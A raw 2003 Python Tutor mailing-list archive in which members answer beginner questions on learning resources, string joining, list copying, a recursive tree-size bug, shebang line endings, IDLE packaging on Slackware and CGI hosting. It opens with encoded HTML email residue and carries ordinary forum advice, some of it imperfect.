ze=3D2><A=20
href=3D"http://web.ask.com/redir?bpg=3Dhttp%3a%2f%2fweb.ask.com%2fweb%3fq%3=
dpython%2bbook%2btutorial%26o%3d0&amp;q=3Dpython+book+tutorial&amp;u=3Dhttp=
%3a%2f%2ftm.an.ask.com%2fr%3ft%3dan%26s%3da%26uid%3d07BCEC75E7BBBDDE3%26sid=
%3d17944DADA28250EE3%26qid%3d76064D8E49FEC94F9AFF4BD97FB30F0C%26io%3d3%26sv=
%3dza5cb7902%26ask%3dpython%2bbook%2btutorial%26uip%3d51908ce2%26en%3dte%26=
eo%3d-100%26pt%3dBook%2bReviews%253a%2bThree%2bbooks%2bon%2bPython%26ac%3d6=
%26qs%3d0%26pg%3d1%26u%3dhttp%3a%2f%2fwww2.linuxjournal.com%2flj-issues%2fi=
ssue73%2f3851.html&amp;s=3Da&amp;bu=3Dhttp%3a%2f%2fwww2.linuxjournal.com%2f=
lj-issues%2fissue73%2f3851.html">http://web.ask.com/redir?bpg=3Dhttp%3a%2f%=
2fweb.ask.com%2fweb%3fq%3dpython%2bbook%2btutorial%26o%3d0&amp;q=3Dpython+b=
ook+tutorial&amp;u=3Dhttp%3a%2f%2ftm.an.ask.com%2fr%3ft%3dan%26s%3da%26uid%=
3d07BCEC75E7BBBDDE3%26sid%3d17944DADA28250EE3%26qid%3d76064D8E49FEC94F9AFF4=
BD97FB30F0C%26io%3d3%26sv%3dza5cb7902%26ask%3dpython%2bbook%2btutorial%26ui=
p%3d51908ce2%26en%3dte%26eo%3d-100%26pt%3dBook%2bReviews%253a%2bThree%2bboo=
ks%2bon%2bPython%26ac%3d6%26qs%3d0%26pg%3d1%26u%3dhttp%3a%2f%2fwww2.linuxjo=
urnal.com%2flj-issues%2fissue73%2f3851.html&amp;s=3Da&amp;bu=3Dhttp%3a%2f%2=
fwww2.linuxjournal.com%2flj-issues%2fissue73%2f3851.html</A>.</FONT></SPAN>=
</DIV>
<DIV><SPAN class=3D546253208-06062003><FONT face=3DArial color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D546253208-06062003><FONT face=3DArial color=3D#0000ff si=
ze=3D2>Don't=20
worry about linux, unix and your system is not.&nbsp; Python works across=
 plattform.</FONT></SPAN></DIV>
<DIV><SPAN class=3D546253208-06062003><FONT face=3DArial color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D546253208-06062003><FONT face=3DArial color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D546253208-06062003><FONT face=3DArial color=3D#0000ff si=
ze=3D2>Have=20
fun</FONT></SPAN></DIV>
<DIV><SPAN class=3D546253208-06062003><FONT face=3DArial color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV></SPAN></FONT>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D546253208-06062003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN class=3D546253208-06=
062003>I have=20
this one </SPAN></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
class=3D546253208-06062003><STRONG><FONT color=3D#000000 size=3D4>The Quick=
 Python=20
Book<BR></FONT></STRONG><A=20
href=3D"http://www.manning.com/Harms/index.html#author"><STRONG><FONT=20
color=3D#cc0000>Daryl Harms and Kenneth McDonald</FONT></STRONG></A><BR><BR=
><FONT=20
color=3D#000000>October 1999, Softbound, 444 pages<BR>ISBN 1884777740<BR></=
DIV>
<DIV></FONT></SPAN></FONT><FONT face=3DArial color=3D#000000 size=3D2><SPAN=
 class=3D546253208-06062003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial color=3D#000000 size=3D2><SPAN=20
class=3D546253208-06062003></SPAN></FONT>&nbsp;</DIV>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
  <DIV></DIV>
  <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr align=3Dleft><FO=
NT=20
  face=3DTahoma size=3D2>-----Original Message-----<BR><B>From:</B> wei hua=
ng=20
  [mailto:pythonhuangwei@yahoo.com.cn] <BR><B>Sent:</B> Sunday, May 18, 200=
3=20
  3:23 PM<BR><B>To:</B> tutor@python.org<BR><B>Subject:</B> [Tutor] how to =
learn=20
  programming,and how to use python as the first one u=20
  program?<BR><BR></FONT></DIV>
  <DIV>i am a new learner, even do not have much knowledge in C &amp; C++</=
DIV>
  <DIV>i will be very appreciated if some one tell me which book i should=
   read</DIV>
  <DIV>ps:this is my first mail in the mail list,thanks all</DIV>
  <P><BR>
  <HR SIZE=3D1>
  <B>Do You Yahoo!?</B><BR><A=20
  href=3D"http://cn.rd.yahoo.com/mail_cn/tag/?http://cn.messenger.yahoo.com=
/">"=CF=E0=BC=FB=B2=BB=C8=E7=C1=C4=CC=EC!=B2=BB=B3=F6=C3=C5=D2=BB=D1=F9=C3=
=E6=B6=D4=C3=E6=A3=A1=CD=F8=C2=E7=C9=E3=CF=F1=CD=B7=B6=D4=B6=D4=C5=C9=CB=CD=
=D6=D0~=B8=CF=BF=EC=D3=C3=C4=E3=B5=C4=D1=C5=BB=A2=B5=E7=D3=CA=D5=CA=BA=C5=
=B2=CE=D3=EB=B0=C9=A1=AD=A1=AD</A></BLOCKQUOTE>=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=
=0A=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=
=00=0A=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=
=0A=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00=
?=00?=00?=00?=00?=00=0D=00=0A=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=00?=
=00?=00?=00?=00=0D=00=0A</BODY></HTML>
=00
------_=_NextPart_001_01C32C08.377F0783--


From tjenkins@devis.com  Fri Jun  6 09:52:02 2003
From: tjenkins@devis.com (Tom Jenkins)
Date: Fri Jun  6 08:52:02 2003
Subject: [Tutor] python string __add__
In-Reply-To: <20030605105701.E76787-100000@localhost.name>
References: <20030605105701.E76787-100000@localhost.name>
Message-ID: <200306051510.36411.tjenkins@devis.com>

On Thursday 05 June 2003 02:00 pm, tpc@csua.berkeley.edu wrote:
> I have a script that will take decimal numbers of any length as command
> line arguments and output the binary equivalent.  However, I am trying to
> output one long string with no spaces.  I attempted __add__ but got empty
> spaces.  Is there a way for python string __add__ to output binary digits
> with no spaces ?
>

python has the ability to create a string from a sequence separated by a given 
delimiter.  in earlier pythons that capability is in the string module; later 
python, the string object itself had the method.

so

>>> import string
>>> mylist = ['s', 'p', 'a', 'm']
>>> string.join(mylist, '')
'spam'
>>> ''.join(mylist)
'spam'
>>> ','.join(mylist)
's,p,a,m'
>>>

hopefully with this bit you should be able to get what you want...

Tom



From willblake@wanadoo.fr  Fri Jun  6 10:49:01 2003
From: willblake@wanadoo.fr (Guillaume)
Date: Fri Jun  6 09:49:01 2003
Subject: [Tutor] python string __add__
In-Reply-To: <200306051510.36411.tjenkins@devis.com>
Message-ID: <NBEHJBEKFMHNFJKOHIOAKEAOCJAA.willblake@wanadoo.fr>

I've got some times to run the prog
and strangely when I type
string.join(mylist,")
I've got a syntax error with the little ^ under the
second parenthesis.
I use Python 2.2, could u explain me why?
Thanx

-----Message d'origine-----
De : tutor-admin@python.org [mailto:tutor-admin@python.org]De la part de
Tom Jenkins
Envoyé : jeudi 5 juin 2003 21:11
À : tpc@csua.berkeley.edu; tutor@python.org
Objet : Re: [Tutor] python string __add__


On Thursday 05 June 2003 02:00 pm, tpc@csua.berkeley.edu wrote:
> I have a script that will take decimal numbers of any length as command
> line arguments and output the binary equivalent.  However, I am trying to
> output one long string with no spaces.  I attempted __add__ but got empty
> spaces.  Is there a way for python string __add__ to output binary digits
> with no spaces ?
>

python has the ability to create a string from a sequence separated by a
given
delimiter.  in earlier pythons that capability is in the string module;
later
python, the string object itself had the method.

so

>>> import string
>>> mylist = ['s', 'p', 'a', 'm']
>>> string.join(mylist, '')
'spam'
>>> ''.join(mylist)
'spam'
>>> ','.join(mylist)
's,p,a,m'
>>>

hopefully with this bit you should be able to get what you want...

Tom


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor



From tjenkins@devis.com  Fri Jun  6 11:49:01 2003
From: tjenkins@devis.com (Tom Jenkins)
Date: Fri Jun  6 10:49:01 2003
Subject: [Tutor] python string __add__
In-Reply-To: <NBEHJBEKFMHNFJKOHIOAKEAOCJAA.willblake@wanadoo.fr>
References: <NBEHJBEKFMHNFJKOHIOAKEAOCJAA.willblake@wanadoo.fr>
Message-ID: <1054910759.3261.1.camel@blade>

On Fri, 2003-06-06 at 09:52, Guillaume wrote:
> I've got some times to run the prog
> and strangely when I type
> string.join(mylist,")
> I've got a syntax error with the little ^ under the
> second parenthesis.
> I use Python 2.2, could u explain me why?
> Thanx

probably because you typed one " instead of two 's

that is you could have done 
string.join(mylist, "") # here it is two double quotes
or 
string.join(mylist,'') # where here it is two single quotes


tom



From dyoo@hkn.eecs.berkeley.edu  Fri Jun  6 17:51:23 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri Jun  6 16:51:23 2003
Subject: [Tutor] how to learn programming,and how to use python as the
 first one u program?
In-Reply-To: <341710540F08E34498A057DEE04DAAD70D4B2F@ex1.seri.co.uk>
Message-ID: <Pine.LNX.4.44.0306061346500.4229-100000@hkn.eecs.berkeley.edu>


On Fri, 6 Jun 2003, Khai Nguyen wrote:

> you can go to python.org.  There are a lot of free tutorials.  Very
> helpful for start.
>  * http://www.ibiblio.org/obp/thinkCSpy/
> <http://www.ibiblio.org/obp/thinkCSpy/> and here are more good tutorials

Hello!

There's also a good collection of tutorials for people who are new to
programming here:

    http://python.org/doc/Newbies.html

As you go through a tutorial, when you have questions about things that
seem unclear, please feel free to ask those questions on the Tutor list.
All of us here will be happy to help try to make confusing things less so.
*grin*


Good luck!



From dyoo@hkn.eecs.berkeley.edu  Fri Jun  6 17:57:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri Jun  6 16:57:01 2003
Subject: [Tutor] Is the list working? [slightly off-topic]
In-Reply-To: <NBEHJBEKFMHNFJKOHIOAAEAKCJAA.willblake@wanadoo.fr>
Message-ID: <Pine.LNX.4.44.0306061340470.4229-100000@hkn.eecs.berkeley.edu>


On Fri, 6 Jun 2003, Guillaume wrote:

> All is in the title. I'm quite worry coz I've got no news from the list
> since yesterday Is it normal or have I a problem with my mail box? Thanx

Hi Guillaume,

I did notice a few small hiccups on my mail service, but that's probably
because of actions some Internet Service Providers are taking against the
recent Bugbear.B virus outbreak.  Stanford, at least, took some really
major actions: we couldn't send email out for about a day... *grin*

It's very possible, then, that your service provider is taking some
extreme measures too, so the list might be a little less busy for a few
days.

For more information on Bugbear.B, see:

    http://www.sophos.com/virusinfo/analyses/w32bugbearb.html

Good luck!



From nas@python.ca  Fri Jun  6 18:11:02 2003
From: nas@python.ca (Neil Schemenauer)
Date: Fri Jun  6 17:11:02 2003
Subject: [Tutor] Unsupported operand types for +: 'NoneType' and 'int' - HUH?!
In-Reply-To: <20030603201525.GA5960@yahoo.com>
References: <20030603201525.GA5960@yahoo.com>
Message-ID: <20030603231652.GA8980@glacier.arctrix.com>

Eladio Ventura wrote:
> I try to make a function which calculates the total number of nodes
> and get the following error:
> 
> TypeError: unsupported operand types for +: 'NoneType' and 'int'

You are trying to add an integer to None.

> 
> The culprit is the following function:
> 
> def size(self, tree):
> 	if tree == None: return
> 	else:
> 		return self.size(tree.left) + 1 + self.size(tree.right)


Your problem is with the line "if tree == None: return".  You want:

    if tree is None:
        return 0

Note that a bare return statement is the same as "return None".


> class Tree:
>     def __init__(self, cargo=None, left=None, right=None):
>         self.cargo = cargo
>         self.left  = left
>         self.right = right
> 
>     def build123a(self):
>         root  = Tree(2)
>         left   = Tree(1)
>         right  = Tree(3)
>         root.left = left
>         root.right = right
>         return root
> 
>     def printTreeInorder(self, tree):
>         if tree == None: return
>         self.printTreeInorder(tree.left)
>         print tree.cargo,
>         self.printTreeInorder(tree.right)
> 
>     def size(self, tree):
>         if tree == None: return
>         else:
>             return self.size(tree.left) + 1 + self.size(tree.right)

There is no reason for build123a(), printTreeInorder() and size() to be
methods.  They would be simpler as functions since you don't use "self".
Eg:

class Tree:
    ...

def build123a():
    left = Tree(1)
    right = Tree(3)
    root = Tree(2, left, right)
    return root

def printTreeInorder(tree):
    ...

HTH,

  Neil


From nas@python.ca  Fri Jun  6 18:11:09 2003
From: nas@python.ca (Neil Schemenauer)
Date: Fri Jun  6 17:11:09 2003
Subject: [Tutor] /usr/bin/env problem
In-Reply-To: <3EDD1FC2.9060704@llnl.gov>
References: <3EDD1FC2.9060704@llnl.gov>
Message-ID: <20030603232122.GB8980@glacier.arctrix.com>

Neil Hodge wrote:
> I have two python scripts in the same directory, with the same 
> permissions, both with the standard line:
> 
> #!/usr/bin/env python
> 
> at the top.  One runs, one doesn't.  One bombs with the error:
> 
> /usr/bin/env: No such file or directory

My only theory is that there are "weird" characters in the first one
(e.g. a DOS line ending).  You could check by running:

    $ head -1 script.py | od -c

Try deleting the line and adding it back by hand.  HTH,

  Neil


From eladioventura@yahoo.com  Fri Jun  6 18:11:24 2003
From: eladioventura@yahoo.com (Eladio Ventura)
Date: Fri Jun  6 17:11:24 2003
Subject: [Tutor] Unsupported operand types for +: 'NoneType' and 'int' - HUH?!
In-Reply-To: <20030603231652.GA8980@glacier.arctrix.com>
References: <20030603201525.GA5960@yahoo.com> <20030603231652.GA8980@glacier.arctrix.com>
Message-ID: <20030604094011.GA2288@yahoo.com>

* Neil Schemenauer <nas@python.ca> [030603 16:16]:
> Your problem is with the line "if tree == None: return".  You want:
> 
>     if tree is None:
>         return 0
> 
> Note that a bare return statement is the same as "return None".
AAAAAAARRRRGGGHHH!!! 45 MINUTES wasted on something *this* simple?! Oh
well, one step closer to coder-dom, ha ha! Thanks a lot, it works like a
charm! This list is the best!
-- 
"Thinking gives you wrinkles!"
Malibu Stacy, the Simpsons


From volkerdi@slackware.com  Fri Jun  6 18:11:41 2003
From: volkerdi@slackware.com (Patrick J. Volkerding)
Date: Fri Jun  6 17:11:41 2003
Subject: [Tutor] Query re: IDLE & Slackware 9.0
In-Reply-To: <20030604011238.GD26383@obrien.1984.lan>
References: <200306032022.45088.tireseas@onetel.com> <200306032033.42781.tbstep@tampabay.rr.com>
 <20030604011238.GD26383@obrien.1984.lan>
Message-ID: <Pine.LNX.4.53.0306041438080.29146@fuzzy.slackware.com>


On Tue, 3 Jun 2003, Rob McGee wrote:
> On Tue, Jun 03, 2003 at 08:33:42PM -0400, Todd Stephens wrote:
> > > I am wanting to use Idle on Slackware 9.0 but cannot seem to call it up
> > > using the command line, and there aren't any menu items for it. Nor can I
> > > seem to find it buried within the Python directory. I was under the
> >
> > Looks to me like the default python installation in Slack 9 leaves it out.  A
> > quick 'locate idle' turns up only the following:
> >
> > /usr/doc/python-2.2.2/html/lib/idle.html
> >
> > I can't find anything in /usr/lib/python2.2/ either.
>
> Correct. I found this issue in Slackware 8.0 too, but I forgot to ask
> Pat (Slackware maintainer) about it. Now that you've reminded me, I'm
> CC'ing this to him.
>
> Pat, the "Tools" directory in the top-level of the Python source tarball
> contains some goodies which would be nice to have ... they're not copied
> over in the "make install".

Hi all,

I'll be adding a python-tools package (and python-demo package, while I'm
at it) to slackware-current sometime soon.  Thanks for cueing me in on
this, Rob!  (especially since you caught this before I put up 2.2.3
packages :-)

Take care,

Pat


From ole_jensen@dbmail.dk  Fri Jun  6 18:11:55 2003
From: ole_jensen@dbmail.dk (Ole Jensen)
Date: Fri Jun  6 17:11:55 2003
Subject: [Tutor] Creating your first CGI-script
Message-ID: <004001c32b7a$6b0acbe0$a44c73d5@sigrunnk2wh18t>

This is a multi-part message in MIME format.

------=_NextPart_000_003D_01C32B8B.2E7CB880
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

First of all, I have no experince in web programming, but my plans are =
to get into that sooner rather than later. So if my assumptions below =
are hillariously wrong feel free to correct me before what I think I =
know sticks with me :-).

I know there is more to web programming other than CGI, I just don't =
know what (I have heard of SQL (databases?), XML (The future of the web, =
maybe? (XHTML)), but I'm not sure that this has anything directly to do =
with Python. So what I'm hoping you can help me with; is what I need to =
make CGI scripts.=20
I guess it's possible to create and test CGI locally (i.e. without =
uploading it to the net). Then again does it require some server =
software to run cgi scripts (or rather test them). I assume (from =
reading this tutor mail)that the necesary software is included in the =
Python download.
Anyway if not, I'm using Win XP and hoping you can recommend some server =
software to use to test my CGI-scripts.
Also, my current homepage server (through my ISP) does not support CGI, =
so if you now of any free (as in no-cost) web hosters that support =
Python I'ld be happy to know. I've been looking at www.freezope.org but =
they don't support cgi so I'm not really sure if thats what would suit =
my needs, BTW what can you use their service to create?

My appologies if this is trivial but to me there seems to be some =
missing link between the python newbie section to the basic CGI =
programming section (under tutorials)

Well I seemed to have gone on long enough for now. So thanks to anyone =
reading this far ;-)

------=_NextPart_000_003D_01C32B8B.2E7CB880
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2726.2500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>First of all, I have no experince in =
web=20
programming, but my plans are to get into that sooner rather than later. =
So if=20
my assumptions below are hillariously wrong feel free to correct me =
before what=20
I think I know sticks with me :-).<BR><BR>I know there is more to web=20
programming other than CGI, I just don't know what (I have heard of SQL=20
(databases?), XML (The future of the web, maybe? (XHTML)), but I'm not =
sure that=20
this has anything directly to do with Python. So what I'm hoping you can =
help me=20
with; is what I need to make CGI scripts. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I guess it's possible to create and =
test CGI=20
locally (i.e. without uploading it to the net). Then again does it =
require some=20
server software to run cgi scripts (or rather test them). I assume (from =
reading=20
this <A=20
href=3D"http://mail.python.org/pipermail/tutor/2003-June/022841.html) =
">tutor=20
mail</A>)that the necesary software is included in the Python=20
download.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Anyway if not,&nbsp;I'm using Win XP =
and hoping you=20
can recommend some server software to use to test my =
CGI-scripts.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Also, my current homepage server =
(through my ISP)=20
does not support CGI, so if you now of any free (as in no-cost) web =
hosters that=20
support Python I'ld be happy to know. I've been looking at <A=20
href=3D"http://www.freezope.org">www.freezope.org</A> but they don't =
support cgi=20
so I'm not really sure if thats what would suit my needs, BTW what can =
you use=20
their service to create?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>My appologies if this is trivial but to =
me there=20
seems to be some missing link between the python newbie section to the =
basic CGI=20
programming section (under tutorials)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Well I seemed to have gone on long =
enough for now.=20
So thanks to anyone reading this far =
;-)</FONT></DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_003D_01C32B8B.2E7CB880--



From gtg066j@mail.gatech.edu  Fri Jun  6 18:12:02 2003
From: gtg066j@mail.gatech.edu (Vidhya Narayanan)
Date: Fri Jun  6 17:12:02 2003
Subject: [Tutor] lists
In-Reply-To: <20030605181302.5177.6118.Mailman@mail.python.org>
References: <20030605181302.5177.6118.Mailman@mail.python.org>
Message-ID: <1054841929.3edf9c492ae1c@webmail.mail.gatech.edu>

Hi,

    I have this very basic question. I have two lists. I deleted some ite=
ms from
list1. list 2 is empty. I need to move the remaining items from list1 to =
list 2
in the same order. Can some one help me out ?Thanks in advance

best
Vidhya



From alan.gauld@blueyonder.co.uk  Fri Jun  6 19:03:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun  6 18:03:01 2003
Subject: [Tutor] Binary Tree Printing Woes
References: <20030605201537.GA10180@yahoo.com> <001101c32ba8$16b47090$6401a8c0@xp> <20030606104936.GA2120@yahoo.com>
Message-ID: <006a01c32c77$6aa3dcc0$6401a8c0@xp>

> .....But how come the print_tree() function - which ALSO returns 
> None works just dandy?!

Good question and I asked myself the same thing.

I didn't see an obvious answer but assumed it must 
be some strange combination of calling pattern. I suspect 
a bigger tree might give a different answer, a 3 node one 
isn't enough to test all scenarios. A cop out sorry! :-)

> But how do I rewrite the function so make the "print" ignore it? 

Just call the function, since it does its own printing you 
don't need to! Alternatively, and better practice, make the 
function return a list of values and you then print those 
outside the function..

Alan G.


From alan.gauld@blueyonder.co.uk  Fri Jun  6 19:05:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun  6 18:05:02 2003
Subject: [Tutor] python string __add__
References: <NBEHJBEKFMHNFJKOHIOAKEAOCJAA.willblake@wanadoo.fr>
Message-ID: <007301c32c77$c7046430$6401a8c0@xp>

> string.join(mylist,")
> I've got a syntax error with the little ^ under the
> second parenthesis.

That should be two single quotes with no space between not 
a double quote...

ie we are joining the strings with no space (no anything in fact!)
between them.

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld




From nas-pytut@python.ca  Fri Jun  6 19:10:02 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Fri Jun  6 18:10:02 2003
Subject: [Tutor] lists
In-Reply-To: <1054841929.3edf9c492ae1c@webmail.mail.gatech.edu>
References: <20030605181302.5177.6118.Mailman@mail.python.org> <1054841929.3edf9c492ae1c@webmail.mail.gatech.edu>
Message-ID: <20030606221228.GA15894@glacier.arctrix.com>

Vidhya Narayanan wrote:
>     I have this very basic question. I have two lists. I deleted some
>     items from list1. list 2 is empty. I need to move the remaining
>     items from list1 to list 2 in the same order.

The most literal translation is:

    list2[:] = list1[:]
    del list1[:]

It's a bit of a weird thing to do though.  It would be faster and
simpliler just to swap the lists:

    list2, list1 = list1, list2

HTH,

  Neil


From jeff@ccvcorp.com  Fri Jun  6 19:28:03 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Fri Jun  6 18:28:03 2003
Subject: [Tutor] lists
References: <20030605181302.5177.6118.Mailman@mail.python.org> <1054841929.3edf9c492ae1c@webmail.mail.gatech.edu>
Message-ID: <3EE11517.2060303@ccvcorp.com>

Vidhya Narayanan wrote:

>    I have this very basic question. I have two lists. I deleted some items from
>list1. list 2 is empty. I need to move the remaining items from list1 to list 2
>in the same order. Can some one help me out ?Thanks in advance
>  
>

Well, you can simply copy list1 into list2 --

list2 = list1[:]

and then delete the items from list1 (or just delete list1).

However, I can't help but ask... why do you need to move items from one 
list (which will end up empty) into another list (which starts empty)? 
 You end up with the same thing, except that the internal ID of the list 
is different (which should make no difference to any user-level 
software).  Indeed, you could simply bind the name list2 to list1 -- 
'list2 = list1' -- and you'll be able to refer to the list as list2, 
without even changing the internal ID.  Better yet, you could just keep 
using list1, since moving everything to a new list is a lot of work to 
achieve no apparent benefit.

So, what's your reasoning behind needing to move these items?

Jeff Shannon
Technician/Programmer
Credit International




From pythontutor@venix.com  Fri Jun  6 19:53:01 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Fri Jun  6 18:53:01 2003
Subject: [Tutor] lists
References: <20030605181302.5177.6118.Mailman@mail.python.org> <1054841929.3edf9c492ae1c@webmail.mail.gatech.edu>
Message-ID: <3EE11B01.7020101@venix.com>

Do you really need to save list2's (potential) contents?
Yes:
	list2.append(list1[:])	# copy from list1 to list2
	del list1[:]		# del contents of list1

[:] grabs a slice from a list.  If nothing else is specified, the slice is a copy
of the whole list.  list1[-5:] would grab the last 5 items as a slice of list1.

No:
	list2 = list1	# assign list2's name to list1
	del list1[:]	

********

The del statement for list1 covers the case where you have other names bound
to list1 and ALL of those names should now be bound to the same empty list.

list1 = [] #would leave the other names bound to list1 with contents.

Vidhya Narayanan wrote:
> Hi,
> 
>     I have this very basic question. I have two lists. I deleted some items from
> list1. list 2 is empty. I need to move the remaining items from list1 to list 2
> in the same order. Can some one help me out ?Thanks in advance
> 
> best
> Vidhya
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From pythontutor@venix.com  Fri Jun  6 20:02:03 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Fri Jun  6 19:02:03 2003
Subject: [Tutor] lists
References: <20030605181302.5177.6118.Mailman@mail.python.org> <1054841929.3edf9c492ae1c@webmail.mail.gatech.edu> <3EE11B01.7020101@venix.com>
Message-ID: <3EE11D48.70102@venix.com>

(red faced)
after No:
list2 = list1[:]

You've already gotten advice from others that your request is a little
strange.  Jeff explained in some detail a few days ago in another post how
Python allows you to simply stick names on to the bits (objects, values) that
you are trying to manage.  In languages like C, Fortran, Pascal, etc. the names
are tightly attached to the bits and can't be shifted around.

Lloyd Kvam wrote:
> Do you really need to save list2's (potential) contents?
> Yes:
>     list2.append(list1[:])    # copy from list1 to list2
>     del list1[:]        # del contents of list1
> 
> [:] grabs a slice from a list.  If nothing else is specified, the slice 
> is a copy
